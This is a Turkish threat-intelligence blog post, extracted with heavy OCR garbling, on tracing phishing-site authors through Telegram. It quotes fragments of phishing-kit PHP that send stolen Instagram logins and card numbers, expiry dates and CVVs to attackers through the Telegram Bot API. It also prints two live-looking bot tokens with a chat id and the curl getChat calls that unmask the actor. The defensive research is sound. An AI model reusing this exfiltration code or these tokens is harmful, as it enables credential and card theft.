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Baslangic

Yatirim Dolandiricilari, Deepfake Dolandiricilarina Dikkat!, e-Devlet
Hacklendi mi?, WhatsApp Dolandiricilari ve benzeri arastirma yazilarimda da
gordiuginiz Uzere Telegram gruplari son yillarda organize siber sug
orgutlerinin, tehdit aktérlerinin, dolandiricilarin meskeni olmaya devam
ediyor. Peki ama neden? Bunun baslica nedeni olarak Telegram’in anonimlik ve
mahremiyet 6zelinde sagladigi imkanlarin yakin zamana kadar yakayi ele vermek
istemeyen siber suclular ig¢in O6nemli avantajlar sagladigini sdyleyebiliriz.

Nedir bu imkanlar diye soracak olursaniz ilki olarak Telegram’a kisisel
bilgilerin verilmeden kayit olunabilmesini séyleyebiliriz. Ikinci olarak
kullanicilarin kendi aralarinda uc¢tan uca sifreli sohbet (Gizli Sohbetler)
gerceklestirebilmelerini, ucuncu olarak ise gonderdikleri mesajlarin
belirledikleri sure sonunda silinmesini (kendini yok eden mesajlar)
saglayabildiklerini soyleyebiliriz.

Diger yandan Telegram’da maksimum 2 GB boyutunda dosyalarin paylasilabilmesi,
hacklenmis, calinti bilgilerin tehdit aktdérleri arasinda hizla el
degistirebilmesi adina da buylk kolaylik sagliyor.
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Telegram yetkilileri, yakin zamana kadar siber suc¢lara yonelik olarak adli
mercilerden gelen talepleri yanitsiz birakiyordu. Bu sebepten dolayi 24
Agustos 2024 tarihinde Telegram CEO’su Pavel Durov‘un Paris’in kuzeyindeki Le
Bourget Havalimani’nda Fransiz polisi tarafindan g6zaltina alinmisti. Fransiz
yetkililer tarafindan yapilan aciklamada, Pavel’in siber suclar sorusturmasi
kapsaminda g6zaltina alindigini, yasa disi transferler, cocuk pornosu,
sahtecilik ve yetkililere bilgi vermemek gibi suc¢larin sorusturma kapsaminda
arastirildigini aktarmista.

Eylil 2024‘te ise Telegram geri adim atarak bundan sonra su¢ unsuru tasiyan
hesap ve kisilerin IP adresi ile telefon numaralarinin resmi merciler ile
paylasilacagini duyurmustu. Bu duyuru sonrasina tehdit aktdérlerinin baska
mecralara yelken acacaklari disiuniulse de beklendigi gibi olmadi.

Durum bdyle olunca Telegram gruplari, siber suclarla miucadele eden siber

guvenlik arastirmacilari ve siber tehdit istihbarati analistleri tarafindan
oldukca yakindan takip edilmekte ve ayrica bu gruplarda paylasilan mesajlar
da SOCRadar XTI gibi siber tehdit istihbarati platformlari tarafindan kayit


https://en.wikipedia.org/wiki/Arrest_and_indictment_of_Pavel_Durov
https://paris.fransapostasi.fr/teknoloji/telegramdan-geri-adim-artik-onemli-bilgileri-adli-merciler-ile-paylasacak/
https://socradar.io/products/extended-threat-intelligence/

altina alinarak, tehdit arastirmasi amaciyla siber guvenlik profesyonelleri
tarafindan da kullanilmaktadir.
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Siber guvenlik profesyonellerinin siber saldirilara karsi etkili bir sekilde
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savunma yapabilmeleri icin tehdit aktdrlerini, motivasyonlarini ve
yeteneklerini anlamalari oldukca Onemlidir. Bunun icin de siber tehdit
istihbaratindan faydalanmak hem profesyoneller hem de kurumlar icin hayati

bir oneme sahiptir.

Tehdit Aktoru Kime Denir?

Tehdit aktord icin aktif olarak kotl niyetli faaliyetlerde bulunan ve
asagidakileri amaclayan herhangi bir kisi, grup veya kurulustur diyebiliriz.

Zarar vermek: Hizmet kesintisi, veri hirsizligi, verileri kullanilamaz hale
getirmek veya manipile etmek gibi farkli tirde saldirilar
gerceklestirebilirler.

Zafiyetleri istismar etmek: Hedef sistemlere yetkisiz erisim saglamak igin
sistemlerdeki, aglardaki ve yazilimlardaki guvenlik zafiyetlerini hedef
alirlar.

Yetkisiz erisim saglamak: Verileri calmak, zararli yazilaim yuklemek ve/veya
verileri manipile etmek ic¢in hedef sisteme yetkisiz erisim saglarlar.
Tehdit aktord icin bir siber saldirinin arkasindaki itici glctur diyebiliriz.
Devlet destekli gruplar gibi son derece yetenekli kisilere ve genis
kaynaklara sahip olabilecekleri gibi, kolayca bulunabilen arac¢lari kullanan




amatorler de olabilir.

Tehdit aktérleri ile ilgili unutulmamasi gereken 6nemli noktalara da deginmek
gerekirse:

. Genis motivasyon yelpazesi: Farkli aktorlerin farkli hedefleri olabilir ve
bunlar finansal kazanc¢ ve casusluktan aktivizme ve kisisel tatmine kadar
uzanabilmektedir.

. Degisen beceri seviyeleri: Bazi tehdit aktorleri oldukca derin teknik bilgiye
sahiptir, bazilari ise daha az yeteneklidir ancak her ikisi de hedef kuruma,
sistemlere onemli Olclde zarar verebilirler.

Farkli tirdeki tehdit aktdérlerini, motivasyonlarini ve yeteneklerini anlamak,
siber guvenlik profesyonellerinin saldirilara karsi etkili bir sekilde
savunma yapabilmesi ic¢in c¢ok onemlidir.

Tehdit Aktorinin Izini Bulmak

Telegram’da ve/veya hacking forumlarinda paylasilan dosyalar kimi zaman
tehdit aktérinin kullandigi sistemlere ait konfiglirasyon bilgilerini kimi
zaman kullandigi sistemin IP adresini kimi zaman ise imzasini icerdigi icgin
siber tehdit istihbarati analistleri ig¢in izini surdukleri tehdit aktéru veya
arastirdiklari siber saldiri ile ilgili Onemli bilgilere erismelerine imkan
taniyabilmektedir.

Ne tesadiftiir ki paylasilan dosyalardan birini inceledigimde, 2021 yilinda
kaleme aldigim Instagram Dolandiricilari arastirma yazima konu olan Kadina
Siddete Hayir temali oltalama sitesinin dosyalari ile karsilastim.
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index.php

P 0; 7>
DOCTYPE
— BU SCRIPT FARUK DURSUN TARAFINDAN KODLANMISTIR. @benférul

ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js

-in client-r touch

http-equiv="X-UA-Compatible" content="IE=edge
Login * Instagram
robots! noimageindex, noarchive
content="yes
#000000'
viewport" co vidth=device-width, user-scalable=no, initial-sca maximum-sca
/data/manifest.json
href="https://graph. instagram.com” rel="preconnect” crossorigin=
rel="preload = ic/bundles/FBSignupPal 6134142751. js s="s y e p cr origin="anonymous
c/bundles/LoginAndSignupPage. j origin="anonymo

. fontawesome. com/releases/v5.8.1/css/all. h M1M7uH2+nqUivzIebhnd0JK28anvf

var docElement -documentElement;

var classRE = ne (*(*]\\s)no-js(\\s|$)");

var className = docElement.className;

docElement.className = className. (classRE, '$1js$2');

/javascript
ion() {
('PerformanceObserver PerformancePaintTiming ) {
.__bufferedPerformance = [];
var ob = new PerformanceObserver(function(e) {
.__bufferedPerformance.push. ( .__bufferedPerformance,e.

({entryTypes: ['paint'1});

="apple-touch-icon-p sizes="76x76 8 m/static/images/ico/apple-touch-icon-76x >
apple-touch-icon-p 120x120! agram. com/static/images/ico/apple-touch-icon-12 .png/02ba5abf9861. png
apple-touch-icon-i ed" s 152x152" hr / staar: /static/imaaes/ico/abple-touch-icon-15: .ona/419 454
Line 1, Column 1 master Spaces:

Izi sirilen tehdit aktdrinin rumuzu (nickname) biliniyorsa bu durumda bu
tehdit aktoéri ile ilgili detayli bilgilere ulasmak i¢in paylasilan dosyalari
analiz etmek arastirmanin seyrini degistirebilir. Oyle ki 6rnedin e-Devlet
Hacklendi mi? arastirma yazima konu olan sorgu panellerinde imzalari olan
tehdit aktérlerinin IP adreslerini, Telegram’da paylasilan bir dosyanin
icinde yer alan SQL dosyasinda bulabilirsiniz.

) B index.php
4)r index.php
<th style="color: red"> row["status"].'</th>";

if ($row["rank"] webmaster'){
<th><span style="background: url(./assets/gif/simsek.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px 1@px; 15px red; color: red;
row["rank"]. '</span></th>";
elseif ($row["rank"] == 'admin'){
<span style="background: url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-s cover; text-shadow: @px @px 10px; 1@px aqua; color: aqua;
row["rank"]. '</span></th>";
elseif ($rowl["rank"] == 'villik'){
<th><span style="background: url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px 1@px; 1@px lightgreen; color:
lightgreen row["rank"].'</span></th>
elseif ($row["rank"] Aylik'){

<th>'.$row["rank"].'</th>";

row["rank"].'</th>";

t_form" action gurat metho
<input id="hidden_id" typ i name="advanced H
<th><button type="button"id="conf" style="margin-left: 2@px;" onclick="javascript:config( rowID. ')" class="padd btn btn-outline-warning">Diizenle</button></th></form>

<button typ: button" onclick="javascript:delete_uid( rowID.')" id="delete" class="padd btn btn-outline-danger">Sil</butto

class="author'
Created with class="fa-solid fa-heart by jemoisika/xbozk@rt/zeox:
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Cogu zaman sizi veya veya kurumunuzu hedef alan tehdit aktdéridnin kullandigi

araclarin, zararli yazilimlarin, oltalama sitelerinin kaynak kodlarina
ulasmaniz mimkin olmaz. Kimi zaman ise kaynak kodlarina ulassaniz da tehdit
aktorine dair bir imza kodlarda yer almadigi ic¢in saldirinin arkasindaki
tehdit aktdrinin kim olduguna ulasamayabilirsiniz.

Peki gercekten de aradan aylar, yillar gecmis olsa bile, elimizde oltalama



sitesinin kaynak kodlari olup tehdit aktdrine ait herhangi bir imza
olmadiginda tehdit aktdrinin kim oldugunu bulamaz miyiz? Aklimi kurcalayan bu
soru sonrasinda Telegram gruplarindan elde ettigim oltalama sitelerinin
kaynak kodlarini incelemeye ve bu soruya yanit bulmaya karar verdim.

Kaynak kodlarinin cogunlugunda dikkatimi ceken ortak nokta, tehdit
aktorlerinin Telegram Bot API‘sinden faydalanarak oltaya duisen kisilerin
calinan bilgilerini anlik olarak takip etmeleriydi. Bunun ic¢in de botlarinin
jetonlarini (token) gelistirdikleri oltalama sitelerinin kaynak kodlarina
gomuyorlardi.

o B index.php
<P index.php
<?php

if ( ) i
kart= ["kart"];
cvv= [Mew"];
sonkullanma=: ["sonkullanma"];

('Europe/Istanbul’);
tarih = ("d-m-Y H:i:s"); .
Signature of the threat actor.

require_once("api/api.php");

data = [
text' =>
Kurban Giris deniyor Coded by abyss

Kart Numarasi : '.$kart.
Son Kullanma Tarihi: sonkullanma.
Gliv ik Kodu: cvv.

@webabyss

chat_id' =>"§chatid! Sending stolen username, password
and IP address of the victim to the
threat actor’s Telegram channel via
file ('abyss.php', 'a');
o Telegram Bot.
<html>

<head>

<meta http-equiv="'Content: tent="text/html;char =UTF-8'>
<meta name='viewport' content: evice-width, initial-scale=1'>

("https://api.telegram.org/bot$token/sendMessage?" . (sdata) );

red'>GIRIS SAYFASINDA</font>
<font lanici adi t><font color='black'>".skart
<font co re: color=' >"". $sonkullanma.
<font co dre: ack'>".scwv."</f
<hr>
(sfile);

("location: tebrik.php");

Line 13, Column 1 Spaces: 4

Operasyon Guvenligi (OPSEC) hakkinda kaygisi olmayanlar ise jetonlara ilave
olarak kaynak kodlarina chat id degerini de gomiyorlardi. chat id sayesinde
Telegram Bot API’'si Uzerinden calinan bilgilerin getChat metodu ile hangi
kullanici adina yani tehdit aktorine gonderildigi bilgisi elde edilebiliyor.
Ben de elimdeki bazi kaynak kodlari lzerinde chat id iceren Telegram Bot API
jetonlarini aramaya ve bunlari da Telegram Bot API Uzerinden sorgulamaya
karar verdim.

QO B8 instagram Scriptleri — -zsh — 154x43

mertrix@Hack4Career instagram Scriptleri % grep -iR api.telegram.org *
Sms Atan Telif SC/example/example_extract_.php: file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) );

Sms Atan Telif SC/manual/docs/api/str_get_.php: file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) );
mertrix@Hack4Career instagram Scriptleri % grep -iR "\$token=" x

Sms Atan Telif SC/example/example_extract_.php: $token='1798094714:AAGSbSEI_4SIVQUWZeb6IFZvOr5aoVemedZI';

Sms Atan Telif SC/manual/docs/api/str_get_.php: $token='1894449748:AAGZUT1ELRQMDq3fqg9TL1ovf2IdB_zze4U"';
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4P  example_extract_.php

<?php

B example_extract_.php

token="'1798094714: AAGSbSEI_4SJVQUwZebIFZvOr5aoVcmedZI';

data = [
text' =>

Kullanici Adi

Sifre :

Ulke : '.$ulke.

§ehir
Iip= T4 iipt
Tarih

chat_id' => 1003193380

17

username.

("https://api.telegram.org/bot$token/sendMessage?

(sdata) );

Arama sonucunda elde ettigim jetonlari, chat id parametresi ile birlikte

komut satiri lzerinden cURL aracindan ile Telegram Bot API’sine

gonderdigimde, 2021 yilindan kalma bir oltalama sitesi Uzerinden tehdit

aktorundn rumuzuna (nickname) aradan yillar gegse bile ulasabildim.

Name
v @ Sms Atan Telif SC
v [ manual
7 docs
v M api
> @ simple_html_dom
> @ simple_html_dom_node
R str_get_.php
R api.md
R constants.md
R definitions.md
R file_get_html.md
R str_get_html.md
> @ manual
R fag.md
R index.md
B quick-start.md
R requirements.md
> @ custom_theme
> [ site
©» extra.css
@ mkdocs.yml
R README.md
> [ img
B BENI OKU.txt
> M css
v [ example
> @ scraping
R example_extract_html.php
R example_extract_.php
] example_advanced_selector.php
M_examole basic_selector.oho
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Yesterday at 16:11
Today at 10:34
Today at 10:34

Aug 20, 2021 at 17:11
Aug 20, 2021 at 17:11
Aug 20, 2021 at 17:11
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Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Aug 20, 2021 at 17:11
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Aug 20, 2021 at 17:11
Aug 20, 2021 at 17:11
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Oct 20, 2019 at 15:16
Today at 09:13

Sep 23, 2021 at 16:37
Aug 20, 2021 at 17:11
Aug 20, 2021 at 17:11
Aug 20, 2021 at 17:11
May 4, 2021 at 16:05
May 4, 2021 at 15:47
Oct 20, 2019 at 15:16
Oct 20. 2019 at 15:16

393 bytes
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644 byte
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2 KB
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2K
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642 byte

106 byte
5 KB

3K

401 byte

106 bytes
427 bytes

1 KB
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Folder
Folder
Folder
Folder
Folder

[ J B2 mertrix — -zsh — 80x24

mertrix@Hack4Career ~ % curl -X POST "https://api.telegram.org/bot1798094714:AAG
sbSEI_4SJIVQUWZe6IFZvOr5aoVemedZI/getChat" —d "chat_id=1003193380"

[{"ok":true, "result" 93193380, "first_name Kevin Lordge", "username":"kev]
inlordgex","type":"private", "active_usernames" kevinlordgex"1l, "bio":"Bo\u@15fu
na U\u@lifra\u@l5fmay\u@13in Zirve Bana Rezerve\ud83d\udelc"}}J
mertrix@Hack4Career ~ %

mertrix@Hack4Career ~ % curl -X POST "https://api.telegram.org/bot1894449748:AAG
zZUf1ELRQmDq3fqg9TL1ovf2JdB_zze4U/getChat" —-d "chat_id=1003193380"

{"ok":true, "result":{"id":1003193380, "first_name":"Kevin Lordge","username":"kev
inlordgex","type":"private","active_usernames":["kevinlordgex"} "bio":"Bo\u@15fu
na U\u@1lfra\ue15fmay\u@13in Zirve Bana Rezerve\ud83d\udelc"}}%
mertrix@Hack4Career ~ % [

F
Folder

PHP Script
PHP Script
PHP Script
PHP Script

Bu rumuzu SOCRadar XTI platformunda arattigimda da bu tehdit aktdrinin

zamaninda Telegram’da hangi kanalda oldugunu 6grenerek arastirmama yeni bir

boyut getirmis oldum.



https://tr.wikipedia.org/wiki/CURL

C M 25 platform.socradar.com/app/threat-hunting?q=kevinlordgex&range=2023-02-15_2024-02-15 aQ & ép B O 3} a ﬂ

SOCRadar Threat Hunting

m 2023-02-15 to 2024-02-15

@ Q kevinlordgex n o\ 510 == OOMonh =
Remaining Decks [==] Remaining Credit
A AllResults [ Data Insights® u g
i Sou Telegram 7
Source (4/50) v Country (2! Sector (41/41) v Date Range -
Discover Date 22 Apr 2023 14:11

@ Re:

https:/t.me/ /3654848 7] [

Sender Usel Mectruyv 4
M e c truy mentioned "kevinlordgex” on the Telegram channel Chat Title SQFIALS] OFFICIAL SROUSAF i

Telegram - 2023 Apr 22 14:11 UTC
Account ID Yz

groupichannel

A Mectruyin IISOCIALS | OFFICIAL GROUP ags yhackerz_or

/ban @ kevinlordgex dolandirici

[®] Full Content

Search

oe

Sonuc

Sonuca gelecek olursam, siber suclarla micadele eden siber guvenlik
arastirmacilari, siber tehdit istihbarati analistleri tarafindan tehdit
aktorlerinin, bulunduklari mecralarin (Forumlar, Telegram gruplari, Discord
kanallari vb.) yakindan izlenmesi, bu mecralarda paylasilan dosyalarin
titizlikle incelenmesi, yuruttukleri arastirmalarin, sorusturmalarin seyrini
blylik 6lclide degistirme potansiyeline sahip oldugu icin oldukga oOnemlidir.

Bir sonraki yazida goOrismek dilegiyle.



